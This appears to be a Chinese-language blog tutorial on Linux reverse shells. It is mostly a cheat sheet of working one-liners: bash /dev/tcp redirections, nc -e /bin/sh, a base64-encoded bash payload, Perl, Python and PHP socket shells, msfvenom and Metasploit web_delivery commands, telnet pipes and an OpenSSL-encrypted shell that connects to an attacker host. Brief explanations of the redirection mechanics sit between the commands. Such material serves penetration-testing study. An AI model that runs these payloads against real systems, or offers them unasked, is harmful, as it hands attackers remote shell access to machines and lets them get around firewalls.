Linux反弹shell
/01 bash -i反弹
一,命令分解
文件描述符:
0 —————- 标准输入
1 —————– 标准输出
2 —————– 标准错误输出
重定向符:
1 |
> ------------ 更改标准输出 |
1 |
< ------------ 更改标准输入 |
1 |
bash -i |
1 |
bash -i > /dev/tcp/192.168.1.129/6666 |
被控制端:
控制端:
可以发现对方的回显会弹到我们这。说明它只把回显反弹而不会让我们本机运行shell
1 |
bash -i < /dev/tcp/192.168.1.129/6666 |
控制端:
被控制端:
可以看到执行命令后,控制端可以执行命令,但是回显在被控制端。
1 |
bash -i > /dev/tcp/192.168.1.129/6666 0>&1 |
控制端:
被控制端:
发现不管是输入输出都可以反弹到控制端
1 |
bash -i &> /dev/tcp/192.168.1.129/6666 0>&1 |
控制端:
被控制端:
发现连命令root@kali都能显示在控制端
1 |
bash -i > /dev/tcp/192.168.1.129/6666 0>&1 2>&1 |
控制端:
被控制端:
二,NC反弹shell
被控制端:
1 |
nc -lvvp 6666 -e /bin/sh |
控制端:
1 |
nc 192.168.1.130 6666 |
原理:被控制端nc将/bin/sh推到本地6666端口,控制端连接对方端口从而获得shell
正向连接,需要我们主动连接被控制方。
控制端:
1 |
nc -lvvp 6666 |
被控制端:
1 |
nc -e /bin/sh 192.168.1.129 6666 |
原理:被控制端使用nc携带/bin/sh 连接控制端
反弹shell:被控制端主动连接我们从而绕过防火墙。
三,Bash反弹shell
被控制端:
1 |
bash -i >& /dev/tcp/192.168.1.129/6666 0>&1 |
or
1 |
bash -i > /dev/tcp/192.168.1.129/6666 0>&1 |
前者输出重定向携带&后者不含,区别在于标准命令的root@kali:~#
1 |
exec 5<>/dev/tcp/192.168.1.129/6666;cat <&5 | while read line; do $line 2>&5 >&5;done |
被控制端:
控制端:
1 |
bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDEuMjE0Ljg1LzY2NjYgMD4mMQ==|base64 -d|bash -i" |
编码推荐网站
java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)
Msfvenom
1 |
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.129 lport=6666 -f raw |
payload在对方机器运行:
1 |
perl -e 'use Socket;$i="192.168.1.129";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
控制端:
被控制端:
1 |
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.1.129:6666");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' |
控制端:
被控制端:
1 |
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.129",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
控制端:
被控制端:
msf
控制端:
1 |
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.129 LPORT=6666 -f raw |
监听
1 |
handler -p python/meterpreter/reverse_tcp -H 192.168.1.129 -P 6666 |
被控制端:
Web delivery
控制端:
1 |
msf6 > use exploit/multi/script/web_delivery |
被控制端:
控制端:
被控制端:
1 |
php -r '$sock=fsockopen("192.168.1.129",6666);exec("/bin/sh -i <&3 >&3 2>&3");' |
Msfvennom反弹shell
1 |
msfvenom -p php/bind_php lport=6666 -f raw > bind_php.php |
web_delivery反弹shell
控制端:
1 |
msf6 > use exploit/multi/script/web_delivery |
被控制端:
1 |
msfvenom -p cmd/unix/bind_ruby lport=6666 -f raw |
控制端:
1 |
nc -lvvp 5555 |
被控制端:
1 |
telnet 192.168.1.130 5555 | /bin/bash | telnet 192.168.1.130 6666 |
控制端:
被控制端:
1 |
rm -f a && mknod a p && telnet 192.168.1.130 6666 0<a | /bin/bash 1>a |
生成密钥
1 |
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes |
启动监视器
1 |
openssl s_server -quiet -key key.pem -cert cert.pem -port 443 |
被控端运行
1 |
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s |
https://medium.com/@int0x33/day-43-reverse-shell-with-openssl-1ee2574aa998
FROM :https://ailumao.cn/ | Author:Ailumao
萌新第一次写wp,今天发现了moctf这个平台,顺手点进去做了几个简单的萌新题目。 已是深夜,先写一点点。写的不好请见谅。 WEB 签到 question:欢迎加入MOCTF官方交流群:620047348 answer:加群得flag。 一道水题 questi…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论